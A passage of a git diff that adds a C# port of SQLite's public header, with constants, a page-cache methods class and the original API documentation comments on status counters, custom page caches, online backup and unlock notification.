SQLITE_TESTCTRL_PRNG_SAVE 5 + //#define SQLITE_TESTCTRL_PRNG_RESTORE 6 + //#define SQLITE_TESTCTRL_PRNG_RESET 7 + //#define SQLITE_TESTCTRL_BITVEC_TEST 8 + //#define SQLITE_TESTCTRL_FAULT_INSTALL 9 + //#define SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS 10 + //#define SQLITE_TESTCTRL_PENDING_BYTE 11 + //#define SQLITE_TESTCTRL_ASSERT 12 + //#define SQLITE_TESTCTRL_ALWAYS 13 + //#define SQLITE_TESTCTRL_RESERVE 14 + const int SQLITE_TESTCTRL_PRNG_SAVE = 5; + const int SQLITE_TESTCTRL_PRNG_RESTORE = 6; + const int SQLITE_TESTCTRL_PRNG_RESET = 7; + const int SQLITE_TESTCTRL_BITVEC_TEST = 8; + const int SQLITE_TESTCTRL_FAULT_INSTALL = 9; + const int SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS = 10; + const int SQLITE_TESTCTRL_PENDING_BYTE = 11; + const int SQLITE_TESTCTRL_ASSERT = 12; + const int SQLITE_TESTCTRL_ALWAYS = 13; + const int SQLITE_TESTCTRL_RESERVE = 14; + + /* + ** CAPI3REF: SQLite Runtime Status {H17200} + ** EXPERIMENTAL + ** + ** This interface is used to retrieve runtime status information + ** about the preformance of SQLite, and optionally to reset various + ** highwater marks. The first argument is an integer code for + ** the specific parameter to measure. Recognized integer codes + ** are of the form [SQLITE_STATUS_MEMORY_USED | SQLITE_STATUS_...]. + ** The current value of the parameter is returned into *pCurrent. + ** The highest recorded value is returned in *pHighwater. If the + ** resetFlag is true, then the highest record value is reset after + ** *pHighwater is written. Some parameters do not record the highest + ** value. For those parameters + ** nothing is written into *pHighwater and the resetFlag is ignored. + ** Other parameters record only the highwater mark and not the current + ** value. For these latter parameters nothing is written into *pCurrent. + ** + ** This routine returns SQLITE_OK on success and a non-zero + ** [error code] on failure. + ** + ** This routine is threadsafe but is not atomic. This routine can + ** called while other threads are running the same or different SQLite + ** interfaces. However the values returned in *pCurrent and + ** *pHighwater reflect the status of SQLite at different points in time + ** and it is possible that another thread might change the parameter + ** in between the times when *pCurrent and *pHighwater are written. + ** + ** See also: [sqlite3_db_status()] + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_status(int op, int *pCurrent, int *pHighwater, int resetFlag); + + + /* + ** CAPI3REF: Status Parameters {H17250} + ** EXPERIMENTAL + ** + ** These integer constants designate various run-time status parameters + ** that can be returned by [sqlite3_status()]. + ** + **
    + **
    SQLITE_STATUS_MEMORY_USED
    + **
    This parameter is the current amount of memory checked out + ** using [sqlite3_malloc()], either directly or indirectly. The + ** figure includes calls made to [sqlite3_malloc()] by the application + ** and internal memory usage by the SQLite library. Scratch memory + ** controlled by [SQLITE_CONFIG_SCRATCH] and auxiliary page-cache + ** memory controlled by [SQLITE_CONFIG_PAGECACHE] is not included in + ** this parameter. The amount returned is the sum of the allocation + ** sizes as reported by the xSize method in [sqlite3_mem_methods].
    + ** + **
    SQLITE_STATUS_MALLOC_SIZE
    + **
    This parameter records the largest memory allocation request + ** handed to [sqlite3_malloc()] or [sqlite3_realloc()] (or their + ** internal equivalents). Only the value returned in the + ** *pHighwater parameter to [sqlite3_status()] is of interest. + ** The value written into the *pCurrent parameter is undefined.
    + ** + **
    SQLITE_STATUS_PAGECACHE_USED
    + **
    This parameter returns the number of pages used out of the + ** [pagecache memory allocator] that was configured using + ** [SQLITE_CONFIG_PAGECACHE]. The + ** value returned is in pages, not in bytes.
    + ** + **
    SQLITE_STATUS_PAGECACHE_OVERFLOW
    + **
    This parameter returns the number of bytes of page cache + ** allocation which could not be statisfied by the [SQLITE_CONFIG_PAGECACHE] + ** buffer and where forced to overflow to [sqlite3_malloc()]. The + ** returned value includes allocations that overflowed because they + ** where too large (they were larger than the "sz" parameter to + ** [SQLITE_CONFIG_PAGECACHE]) and allocations that overflowed because + ** no space was left in the page cache.
    + ** + **
    SQLITE_STATUS_PAGECACHE_SIZE
    + **
    This parameter records the largest memory allocation request + ** handed to [pagecache memory allocator]. Only the value returned in the + ** *pHighwater parameter to [sqlite3_status()] is of interest. + ** The value written into the *pCurrent parameter is undefined.
    + ** + **
    SQLITE_STATUS_SCRATCH_USED
    + **
    This parameter returns the number of allocations used out of the + ** [scratch memory allocator] configured using + ** [SQLITE_CONFIG_SCRATCH]. The value returned is in allocations, not + ** in bytes. Since a single thread may only have one scratch allocation + ** outstanding at time, this parameter also reports the number of threads + ** using scratch memory at the same time.
    + ** + **
    SQLITE_STATUS_SCRATCH_OVERFLOW
    + **
    This parameter returns the number of bytes of scratch memory + ** allocation which could not be statisfied by the [SQLITE_CONFIG_SCRATCH] + ** buffer and where forced to overflow to [sqlite3_malloc()]. The values + ** returned include overflows because the requested allocation was too + ** larger (that is, because the requested allocation was larger than the + ** "sz" parameter to [SQLITE_CONFIG_SCRATCH]) and because no scratch buffer + ** slots were available. + **
    + ** + **
    SQLITE_STATUS_SCRATCH_SIZE
    + **
    This parameter records the largest memory allocation request + ** handed to [scratch memory allocator]. Only the value returned in the + ** *pHighwater parameter to [sqlite3_status()] is of interest. + ** The value written into the *pCurrent parameter is undefined.
    + ** + **
    SQLITE_STATUS_PARSER_STACK
    + **
    This parameter records the deepest parser stack. It is only + ** meaningful if SQLite is compiled with [YYTRACKMAXSTACKDEPTH].
    + **
    + ** + ** New status parameters may be added from time to time. + */ + //#define SQLITE_STATUS_MEMORY_USED 0 + //#define SQLITE_STATUS_PAGECACHE_USED 1 + //#define SQLITE_STATUS_PAGECACHE_OVERFLOW 2 + //#define SQLITE_STATUS_SCRATCH_USED 3 + //#define SQLITE_STATUS_SCRATCH_OVERFLOW 4 + //#define SQLITE_STATUS_MALLOC_SIZE 5 + //#define SQLITE_STATUS_PARSER_STACK 6 + //#define SQLITE_STATUS_PAGECACHE_SIZE 7 + //#define SQLITE_STATUS_SCRATCH_SIZE 8 + const int SQLITE_STATUS_MEMORY_USED = 0; + const int SQLITE_STATUS_PAGECACHE_USED = 1; + const int SQLITE_STATUS_PAGECACHE_OVERFLOW = 2; + const int SQLITE_STATUS_SCRATCH_USED = 3; + const int SQLITE_STATUS_SCRATCH_OVERFLOW = 4; + const int SQLITE_STATUS_MALLOC_SIZE = 5; + const int SQLITE_STATUS_PARSER_STACK = 6; + const int SQLITE_STATUS_PAGECACHE_SIZE = 7; + const int SQLITE_STATUS_SCRATCH_SIZE = 8; + + /* + ** CAPI3REF: Database Connection Status {H17500} + ** EXPERIMENTAL + ** + ** This interface is used to retrieve runtime status information + ** about a single [database connection]. The first argument is the + ** database connection object to be interrogated. The second argument + ** is the parameter to interrogate. Currently, the only allowed value + ** for the second parameter is [SQLITE_DBSTATUS_LOOKASIDE_USED]. + ** Additional options will likely appear in future releases of SQLite. + ** + ** The current value of the requested parameter is written into *pCur + ** and the highest instantaneous value is written into *pHiwtr. If + ** the resetFlg is true, then the highest instantaneous value is + ** reset back down to the current value. + ** + ** See also: [sqlite3_status()] and [sqlite3_stmt_status()]. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int resetFlg); + + /* + ** CAPI3REF: Status Parameters for database connections {H17520} + ** EXPERIMENTAL + ** + ** Status verbs for [sqlite3_db_status()]. + ** + **
    + **
    SQLITE_DBSTATUS_LOOKASIDE_USED
    + **
    This parameter returns the number of lookaside memory slots currently + ** checked out.
    + **
    + */ + //#define SQLITE_DBSTATUS_LOOKASIDE_USED 0 + const int SQLITE_DBSTATUS_LOOKASIDE_USED = 0; + + /* + ** CAPI3REF: Prepared Statement Status {H17550} + ** EXPERIMENTAL + ** + ** Each prepared statement maintains various + ** [SQLITE_STMTSTATUS_SORT | counters] that measure the number + ** of times it has performed specific operations. These counters can + ** be used to monitor the performance characteristics of the prepared + ** statements. For example, if the number of table steps greatly exceeds + ** the number of table searches or result rows, that would tend to indicate + ** that the prepared statement is using a full table scan rather than + ** an index. + ** + ** This interface is used to retrieve and reset counter values from + ** a [prepared statement]. The first argument is the prepared statement + ** object to be interrogated. The second argument + ** is an integer code for a specific [SQLITE_STMTSTATUS_SORT | counter] + ** to be interrogated. + ** The current value of the requested counter is returned. + ** If the resetFlg is true, then the counter is reset to zero after this + ** interface call returns. + ** + ** See also: [sqlite3_status()] and [sqlite3_db_status()]. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg); + + /* + ** CAPI3REF: Status Parameters for prepared statements {H17570} + ** EXPERIMENTAL + ** + ** These preprocessor macros define integer codes that name counter + ** values associated with the [sqlite3_stmt_status()] interface. + ** The meanings of the various counters are as follows: + ** + **
    + **
    SQLITE_STMTSTATUS_FULLSCAN_STEP
    + **
    This is the number of times that SQLite has stepped forward in + ** a table as part of a full table scan. Large numbers for this counter + ** may indicate opportunities for performance improvement through + ** careful use of indices.
    + ** + **
    SQLITE_STMTSTATUS_SORT
    + **
    This is the number of sort operations that have occurred. + ** A non-zero value in this counter may indicate an opportunity to + ** improvement performance through careful use of indices.
    + ** + **
    + */ + //#define SQLITE_STMTSTATUS_FULLSCAN_STEP 1 + //#define SQLITE_STMTSTATUS_SORT 2 + const int SQLITE_STMTSTATUS_FULLSCAN_STEP = 1; + const int SQLITE_STMTSTATUS_SORT = 2; + + /* + ** CAPI3REF: Custom Page Cache Object + ** EXPERIMENTAL + ** + ** The sqlite3_pcache type is opaque. It is implemented by + ** the pluggable module. The SQLite core has no knowledge of + ** its size or internal structure and never deals with the + ** sqlite3_pcache object except by holding and passing pointers + ** to the object. + ** + ** See [sqlite3_pcache_methods] for additional information. + */ + //typedef struct sqlite3_pcache sqlite3_pcache; + + /* + ** CAPI3REF: Application Defined Page Cache. + ** EXPERIMENTAL + ** + ** The [sqlite3_config]([SQLITE_CONFIG_PCACHE], ...) interface can + ** register an alternative page cache implementation by passing in an + ** instance of the sqlite3_pcache_methods structure. The majority of the + ** heap memory used by sqlite is used by the page cache to cache data read + ** from, or ready to be written to, the database file. By implementing a + ** custom page cache using this API, an application can control more + ** precisely the amount of memory consumed by sqlite, the way in which + ** said memory is allocated and released, and the policies used to + ** determine exactly which parts of a database file are cached and for + ** how long. + ** + ** The contents of the structure are copied to an internal buffer by sqlite + ** within the call to [sqlite3_config]. + ** + ** The xInit() method is called once for each call to [sqlite3_initialize()] + ** (usually only once during the lifetime of the process). It is passed + ** a copy of the sqlite3_pcache_methods.pArg value. It can be used to set + ** up global structures and mutexes required by the custom page cache + ** implementation. The xShutdown() method is called from within + ** [sqlite3_shutdown()], if the application invokes this API. It can be used + ** to clean up any outstanding resources before process shutdown, if required. + ** + ** The xCreate() method is used to construct a new cache instance. The + ** first parameter, szPage, is the size in bytes of the pages that must + ** be allocated by the cache. szPage will not be a power of two. The + ** second argument, bPurgeable, is true if the cache being created will + ** be used to cache database pages read from a file stored on disk, or + ** false if it is used for an in-memory database. The cache implementation + ** does not have to do anything special based on the value of bPurgeable, + ** it is purely advisory. + ** + ** The xCachesize() method may be called at any time by SQLite to set the + ** suggested maximum cache-size (number of pages stored by) the cache + ** instance passed as the first argument. This is the value configured using + ** the SQLite "[PRAGMA cache_size]" command. As with the bPurgeable parameter, + ** the implementation is not required to do anything special with this + ** value, it is advisory only. + ** + ** The xPagecount() method should return the number of pages currently + ** stored in the cache supplied as an argument. + ** + ** The xFetch() method is used to fetch a page and return a pointer to it. + ** A 'page', in this context, is a buffer of szPage bytes aligned at an + ** 8-byte boundary. The page to be fetched is determined by the key. The + ** mimimum key value is 1. After it has been retrieved using xFetch, the page + ** is considered to be pinned. + ** + ** If the requested page is already in the page cache, then a pointer to + ** the cached buffer should be returned with its contents intact. If the + ** page is not already in the cache, then the expected behaviour of the + ** cache is determined by the value of the createFlag parameter passed + ** to xFetch, according to the following table: + ** + ** + **
    createFlagExpected Behaviour + **
    0NULL should be returned. No new cache entry is created. + **
    1If createFlag is set to 1, this indicates that + ** SQLite is holding pinned pages that can be unpinned + ** by writing their contents to the database file (a + ** relatively expensive operation). In this situation the + ** cache implementation has two choices: it can return NULL, + ** in which case SQLite will attempt to unpin one or more + ** pages before re-requesting the same page, or it can + ** allocate a new page and return a pointer to it. If a new + ** page is allocated, then the first sizeof(void*) bytes of + ** it (at least) must be zeroed before it is returned. + **
    2If createFlag is set to 2, then SQLite is not holding any + ** pinned pages associated with the specific cache passed + ** as the first argument to xFetch() that can be unpinned. The + ** cache implementation should attempt to allocate a new + ** cache entry and return a pointer to it. Again, the first + ** sizeof(void*) bytes of the page should be zeroed before + ** it is returned. If the xFetch() method returns NULL when + ** createFlag==2, SQLite assumes that a memory allocation + ** failed and returns SQLITE_NOMEM to the user. + **
    + ** + ** xUnpin() is called by SQLite with a pointer to a currently pinned page + ** as its second argument. If the third parameter, discard, is non-zero, + ** then the page should be evicted from the cache. In this case SQLite + ** assumes that the next time the page is retrieved from the cache using + ** the xFetch() method, it will be zeroed. If the discard parameter is + ** zero, then the page is considered to be unpinned. The cache implementation + ** may choose to reclaim (free or recycle) unpinned pages at any time. + ** SQLite assumes that next time the page is retrieved from the cache + ** it will either be zeroed, or contain the same data that it did when it + ** was unpinned. + ** + ** The cache is not required to perform any reference counting. A single + ** call to xUnpin() unpins the page regardless of the number of prior calls + ** to xFetch(). + ** + ** The xRekey() method is used to change the key value associated with the + ** page passed as the second argument from oldKey to newKey. If the cache + ** previously contains an entry associated with newKey, it should be + ** discarded. Any prior cache entry associated with newKey is guaranteed not + ** to be pinned. + ** + ** When SQLite calls the xTruncate() method, the cache must discard all + ** existing cache entries with page numbers (keys) greater than or equal + ** to the value of the iLimit parameter passed to xTruncate(). If any + ** of these pages are pinned, they are implicitly unpinned, meaning that + ** they can be safely discarded. + ** + ** The xDestroy() method is used to delete a cache allocated by xCreate(). + ** All resources associated with the specified cache should be freed. After + ** calling the xDestroy() method, SQLite considers the [sqlite3_pcache*] + ** handle invalid, and will not use it with any other sqlite3_pcache_methods + ** functions. + */ + //typedef struct sqlite3_pcache_methods sqlite3_pcache_methods; + //struct sqlite3_pcache_methods { + // void *pArg; + // int (*xInit)(void*); + // void (*xShutdown)(void*); + // sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); + // void (*xCachesize)(sqlite3_pcache*, int nCachesize); + // int (*xPagecount)(sqlite3_pcache*); + // void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); + // void (*xUnpin)(sqlite3_pcache*, void*, int discard); + // void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); + // void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); + // void (*xDestroy)(sqlite3_pcache*); + //}; + public class sqlite3_pcache_methods + { + public object pArg; + public dxPC_Init xInit;//int (*xInit)(void*); + public dxPC_Shutdown xShutdown;//public void (*xShutdown)(void*); + public dxPC_Create xCreate;//public sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); + public dxPC_Cachesize xCachesize;//public void (*xCachesize)(sqlite3_pcache*, int nCachesize); + public dxPC_Pagecount xPagecount;//public int (*xPagecount)(sqlite3_pcache*); + public dxPC_Fetch xFetch;//public void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); + public dxPC_Unpin xUnpin;//public void (*xUnpin)(sqlite3_pcache*, void*, int discard); + public dxPC_Rekey xRekey;//public void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); + public dxPC_Truncate xTruncate;//public void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); + public dxPC_Destroy xDestroy;//public void (*xDestroy)(sqlite3_pcache*); + + public sqlite3_pcache_methods() + { } + + public sqlite3_pcache_methods( object pArg, dxPC_Init xInit, dxPC_Shutdown xShutdown, dxPC_Create xCreate, dxPC_Cachesize xCachesize, dxPC_Pagecount xPagecount, dxPC_Fetch xFetch, dxPC_Unpin xUnpin, dxPC_Rekey xRekey, dxPC_Truncate xTruncate, dxPC_Destroy xDestroy ) + { + this.pArg = pArg; + this.xInit = xInit; + this.xShutdown = xShutdown; + this.xCreate = xCreate; + this.xCachesize = xCachesize; + this.xPagecount = xPagecount; + this.xFetch = xFetch; + this.xUnpin = xUnpin; + this.xRekey = xRekey; + this.xTruncate = xTruncate; + this.xDestroy = xDestroy; + } + }; + + /* + ** CAPI3REF: Online Backup Object + ** EXPERIMENTAL + ** + ** The sqlite3_backup object records state information about an ongoing + ** online backup operation. The sqlite3_backup object is created by + ** a call to [sqlite3_backup_init()] and is destroyed by a call to + ** [sqlite3_backup_finish()]. + ** + ** See Also: [Using the SQLite Online Backup API] + */ + //typedef struct sqlite3_backup sqlite3_backup; + + /* + ** CAPI3REF: Online Backup API. + ** EXPERIMENTAL + ** + ** This API is used to overwrite the contents of one database with that + ** of another. It is useful either for creating backups of databases or + ** for copying in-memory databases to or from persistent files. + ** + ** See Also: [Using the SQLite Online Backup API] + ** + ** Exclusive access is required to the destination database for the + ** duration of the operation. However the source database is only + ** read-locked while it is actually being read, it is not locked + ** continuously for the entire operation. Thus, the backup may be + ** performed on a live database without preventing other users from + ** writing to the database for an extended period of time. + ** + ** To perform a backup operation: + **
      + **
    1. sqlite3_backup_init() is called once to initialize the + ** backup, + **
    2. sqlite3_backup_step() is called one or more times to transfer + ** the data between the two databases, and finally + **
    3. sqlite3_backup_finish() is called to release all resources + ** associated with the backup operation. + **
    + ** There should be exactly one call to sqlite3_backup_finish() for each + ** successful call to sqlite3_backup_init(). + ** + ** sqlite3_backup_init() + ** + ** The first two arguments passed to [sqlite3_backup_init()] are the database + ** handle associated with the destination database and the database name + ** used to attach the destination database to the handle. The database name + ** is "main" for the main database, "temp" for the temporary database, or + ** the name specified as part of the [ATTACH] statement if the destination is + ** an attached database. The third and fourth arguments passed to + ** sqlite3_backup_init() identify the [database connection] + ** and database name used + ** to access the source database. The values passed for the source and + ** destination [database connection] parameters must not be the same. + ** + ** If an error occurs within sqlite3_backup_init(), then NULL is returned + ** and an error code and error message written into the [database connection] + ** passed as the first argument. They may be retrieved using the + ** [sqlite3_errcode()], [sqlite3_errmsg()], and [sqlite3_errmsg16()] functions. + ** Otherwise, if successful, a pointer to an [sqlite3_backup] object is + ** returned. This pointer may be used with the sqlite3_backup_step() and + ** sqlite3_backup_finish() functions to perform the specified backup + ** operation. + ** + ** sqlite3_backup_step() + ** + ** Function [sqlite3_backup_step()] is used to copy up to nPage pages between + ** the source and destination databases, where nPage is the value of the + ** second parameter passed to sqlite3_backup_step(). If nPage is a negative + ** value, all remaining source pages are copied. If the required pages are + ** succesfully copied, but there are still more pages to copy before the + ** backup is complete, it returns [SQLITE_OK]. If no error occured and there + ** are no more pages to copy, then [SQLITE_DONE] is returned. If an error + ** occurs, then an SQLite error code is returned. As well as [SQLITE_OK] and + ** [SQLITE_DONE], a call to sqlite3_backup_step() may return [SQLITE_READONLY], + ** [SQLITE_NOMEM], [SQLITE_BUSY], [SQLITE_LOCKED], or an + ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] extended error code. + ** + ** As well as the case where the destination database file was opened for + ** read-only access, sqlite3_backup_step() may return [SQLITE_READONLY] if + ** the destination is an in-memory database with a different page size + ** from the source database. + ** + ** If sqlite3_backup_step() cannot obtain a required file-system lock, then + ** the [sqlite3_busy_handler | busy-handler function] + ** is invoked (if one is specified). If the + ** busy-handler returns non-zero before the lock is available, then + ** [SQLITE_BUSY] is returned to the caller. In this case the call to + ** sqlite3_backup_step() can be retried later. If the source + ** [database connection] + ** is being used to write to the source database when sqlite3_backup_step() + ** is called, then [SQLITE_LOCKED] is returned immediately. Again, in this + ** case the call to sqlite3_backup_step() can be retried later on. If + ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX], [SQLITE_NOMEM], or + ** [SQLITE_READONLY] is returned, then + ** there is no point in retrying the call to sqlite3_backup_step(). These + ** errors are considered fatal. At this point the application must accept + ** that the backup operation has failed and pass the backup operation handle + ** to the sqlite3_backup_finish() to release associated resources. + ** + ** Following the first call to sqlite3_backup_step(), an exclusive lock is + ** obtained on the destination file. It is not released until either + ** sqlite3_backup_finish() is called or the backup operation is complete + ** and sqlite3_backup_step() returns [SQLITE_DONE]. Additionally, each time + ** a call to sqlite3_backup_step() is made a [shared lock] is obtained on + ** the source database file. This lock is released before the + ** sqlite3_backup_step() call returns. Because the source database is not + ** locked between calls to sqlite3_backup_step(), it may be modified mid-way + ** through the backup procedure. If the source database is modified by an + ** external process or via a database connection other than the one being + ** used by the backup operation, then the backup will be transparently + ** restarted by the next call to sqlite3_backup_step(). If the source + ** database is modified by the using the same database connection as is used + ** by the backup operation, then the backup database is transparently + ** updated at the same time. + ** + ** sqlite3_backup_finish() + ** + ** Once sqlite3_backup_step() has returned [SQLITE_DONE], or when the + ** application wishes to abandon the backup operation, the [sqlite3_backup] + ** object should be passed to sqlite3_backup_finish(). This releases all + ** resources associated with the backup operation. If sqlite3_backup_step() + ** has not yet returned [SQLITE_DONE], then any active write-transaction on the + ** destination database is rolled back. The [sqlite3_backup] object is invalid + ** and may not be used following a call to sqlite3_backup_finish(). + ** + ** The value returned by sqlite3_backup_finish is [SQLITE_OK] if no error + ** occurred, regardless or whether or not sqlite3_backup_step() was called + ** a sufficient number of times to complete the backup operation. Or, if + ** an out-of-memory condition or IO error occured during a call to + ** sqlite3_backup_step() then [SQLITE_NOMEM] or an + ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] error code + ** is returned. In this case the error code and an error message are + ** written to the destination [database connection]. + ** + ** A return of [SQLITE_BUSY] or [SQLITE_LOCKED] from sqlite3_backup_step() is + ** not a permanent error and does not affect the return value of + ** sqlite3_backup_finish(). + ** + ** sqlite3_backup_remaining(), sqlite3_backup_pagecount() + ** + ** Each call to sqlite3_backup_step() sets two values stored internally + ** by an [sqlite3_backup] object. The number of pages still to be backed + ** up, which may be queried by sqlite3_backup_remaining(), and the total + ** number of pages in the source database file, which may be queried by + ** sqlite3_backup_pagecount(). + ** + ** The values returned by these functions are only updated by + ** sqlite3_backup_step(). If the source database is modified during a backup + ** operation, then the values are not updated to account for any extra + ** pages that need to be updated or the size of the source database file + ** changing. + ** + ** Concurrent Usage of Database Handles + ** + ** The source [database connection] may be used by the application for other + ** purposes while a backup operation is underway or being initialized. + ** If SQLite is compiled and configured to support threadsafe database + ** connections, then the source database connection may be used concurrently + ** from within other threads. + ** + ** However, the application must guarantee that the destination database + ** connection handle is not passed to any other API (by any thread) after + ** sqlite3_backup_init() is called and before the corresponding call to + ** sqlite3_backup_finish(). Unfortunately SQLite does not currently check + ** for this, if the application does use the destination [database connection] + ** for some other purpose during a backup operation, things may appear to + ** work correctly but in fact be subtly malfunctioning. Use of the + ** destination database connection while a backup is in progress might + ** also cause a mutex deadlock. + ** + ** Furthermore, if running in [shared cache mode], the application must + ** guarantee that the shared cache used by the destination database + ** is not accessed while the backup is running. In practice this means + ** that the application must guarantee that the file-system file being + ** backed up to is not accessed by any connection within the process, + ** not just the specific connection that was passed to sqlite3_backup_init(). + ** + ** The [sqlite3_backup] object itself is partially threadsafe. Multiple + ** threads may safely make multiple concurrent calls to sqlite3_backup_step(). + ** However, the sqlite3_backup_remaining() and sqlite3_backup_pagecount() + ** APIs are not strictly speaking threadsafe. If they are invoked at the + ** same time as another thread is invoking sqlite3_backup_step() it is + ** possible that they return invalid values. + */ + //SQLITE_API sqlite3_backup *sqlite3_backup_init( + // sqlite3 *pDest, /* Destination database handle */ + // const char *zDestName, /* Destination database name */ + // sqlite3 *pSource, /* Source database handle */ + // const char *zSourceName /* Source database name */ + //); + //SQLITE_API int sqlite3_backup_step(sqlite3_backup *p, int nPage); + //SQLITE_API int sqlite3_backup_finish(sqlite3_backup *p); + //SQLITE_API int sqlite3_backup_remaining(sqlite3_backup *p); + //SQLITE_API int sqlite3_backup_pagecount(sqlite3_backup *p); + + /* + ** CAPI3REF: Unlock Notification + ** EXPERIMENTAL + ** + ** When running in shared-cache mode, a database operation may fail with + ** an [SQLITE_LOCKED] error if the required locks on the shared-cache or + ** individual tables within the shared-cache cannot be obtained. See + ** [SQLite Shared-Cache Mode] for a description of shared-cache locking. + ** This API may be used to register a callback that SQLite will invoke + ** when the connection currently holding the required lock relinquishes it. + ** This API is only available if the library was compiled with the + ** [SQLITE_ENABLE_UNLOCK_NOTIFY] C-preprocessor symbol defined. + ** + ** See Also: [Using the SQLite Unlock Notification Feature]. + ** + ** Shared-cache locks are released when a database connection concludes + ** its current transaction, either by committing it or rolling it back. + ** + ** When a connection (known as the blocked connection) fails to obtain a + ** shared-cache lock and SQLITE_LOCKED is returned to the caller, the + ** identity of the database connection (the blocking connection) that + ** has locked the required resource is stored internally. After an + ** application receives an SQLITE_LOCKED error, it may call the + ** sqlite3_unlock_notify() method with the blocked connection handle as + ** the first argument to register for a callback that will be invoked + ** when the blocking connections current transaction is concluded. The + ** callback is invoked from within the [sqlite3_step] or [sqlite3_close] + ** call that concludes the blocking connections transaction. + ** + ** If sqlite3_unlock_notify() is called in a multi-threaded application, + ** there is a chance that the blocking connection will have already + ** concluded its transaction by the time sqlite3_unlock_notify() is invoked. + ** If this happens, then the specified callback is invoked immediately, + ** from within the call to sqlite3_unlock_notify(). + ** + ** If the blocked connection is attempting to obtain a write-lock on a + ** shared-cache table, and more than one other connection currently holds + ** a read-lock on the same table, then SQLite arbitrarily selects one of + ** the other connections to use as the blocking connection. + ** + ** There may be at most one unlock-notify callback registered by a + ** blocked connection. If sqlite3_unlock_notify() is called when the + ** blocked connection already has a registered unlock-notify callback, + ** then the new callback replaces the old. If sqlite3_unlock_notify() is + ** called with a NULL pointer as its second argument, then any existing + ** unlock-notify callback is cancelled. The blocked connections + ** unlock-notify callback may also be canceled by closing the blocked + ** connection using [sqlite3_close()]. + ** + ** The unlock-notify callback is not reentrant. If an application invokes + ** any sqlite3_xxx API functions from within an unlock-notify callback, a + ** crash or deadlock may be the result. + ** + ** Unless deadlock is detected (see below), sqlite3_unlock_notify() always + ** returns SQLITE_OK. + ** + ** Callback Invocation Details + ** + ** When an unlock-notify callback is registered, the application provides a + ** single void* pointer that is passed to the callback when it is invoked. + ** However, the signature of the callback function allows SQLite to pass + ** it an array of void* context pointers. The first argument passed to + ** an unlock-notify callback is a pointer to an array of void* pointers, + ** and the second is the number of entries in the array. + ** + ** When a blocking connections transaction is concluded, there may be + ** more than one blocked connection that has registered for an unlock-notify + ** callback. If two or more such blocked connections have specified the + ** same callback function, then instead of invoking the callback function + ** multiple times, it is invoked once with the set of void* context pointers + ** specified by the blocked connections bundled together into an array. + ** This gives the application an opportunity to prioritize any actions + ** related to the set of unblocked database connections. + ** + ** Deadlock Detection + ** + ** Assuming that after registering for an unlock-notify callback a + ** database waits for the callback to be issued before taking any further + ** action (a reasonable assumption), then using this API may cause the + ** application to deadlock. For example, if connection X is waiting for + ** connection Y's transaction to be concluded, and similarly connection + ** Y is waiting on connection X's transaction, then neither connection + ** will proceed and the system may remain deadlocked indefinitely. + ** + ** To avoid this scenario, the sqlite3_unlock_notify() performs deadlock + ** detection. If a given call to sqlite3_unlock_notify() would put the + ** system in a deadlocked state, then SQLITE_LOCKED is returned and no + ** unlock-notify callback is registered. The system is said to be in + ** a deadlocked state if connection A has registered for an unlock-notify + ** callback on the conclusion of connection B's transaction, and connection + ** B has itself registered for an unlock-notify callback when connection + ** A's transaction is concluded. Indirect deadlock is also detected, so + ** the system is also considered to be deadlocked if connection B has + ** registered for an unlock-notify callback on the conclusion of connection + ** C's transaction, where connection C is waiting on connection A. Any + ** number of levels of indirection are allowed. + ** + ** The "DROP TABLE" Exception + ** + ** When a call to [sqlite3_step()] returns SQLITE_LOCKED, it is almost + ** always appropriate to call sqlite3_unlock_notify(). There is however, + ** one exception. When executing a "DROP TABLE" or "DROP INDEX" statement, + ** SQLite checks if there are any currently executing SELECT statements + ** that belong to the same connection. If there are, SQLITE_LOCKED is + ** returned. In this case there is no "blocking connection", so invoking + ** sqlite3_unlock_notify() results in the unlock-notify callback being + ** invoked immediately. If the application then re-attempts the "DROP TABLE" + ** or "DROP INDEX" query, an infinite loop might be the result. + ** + ** One way around this problem is to check the extended error code returned + ** by an sqlite3_step() call. If there is a blocking connection, then the + ** extended error code is set to SQLITE_LOCKED_SHAREDCACHE. Otherwise, in + ** the special "DROP TABLE/INDEX" case, the extended error code is just + ** SQLITE_LOCKED. + */ + //SQLITE_API int sqlite3_unlock_notify( + // sqlite3 *pBlocked, /* Waiting connection */ + // void (*xNotify)(void **apArg, int nArg), /* Callback function to invoke */ + // void *pNotifyArg /* Argument to pass to xNotify */ + //); + + + /* + ** CAPI3REF: String Comparison + ** EXPERIMENTAL + ** + ** The [sqlite3_strnicmp()] API allows applications and extensions to + ** compare the contents of two buffers containing UTF-8 strings in a + ** case-indendent fashion, using the same definition of case independence + ** that SQLite uses internally when comparing identifiers. + */ + //SQLITE_API int sqlite3_strnicmp(const char *, const char *, int); + + /* + ** Undo the hack that converts floating point types to integer for + ** builds on processors without floating point support. + */ + //#ifdef SQLITE_OMIT_FLOATING_POINT + //# undef double + //#endif + + //#ifdef __cplusplus + //} /* End of the 'extern "C"' block */ + //#endif + //#endif + } +} diff --git a/SQLite/src/sqlite3ext_h.cs b/SQLite/src/sqlite3ext_h.cs new file mode 100644 index 0000000..d91bdbf --- /dev/null +++ b/SQLite/src/sqlite3ext_h.cs @@ -0,0 +1,397 @@ +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2006 June 7 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the SQLite interface for use by + ** shared libraries 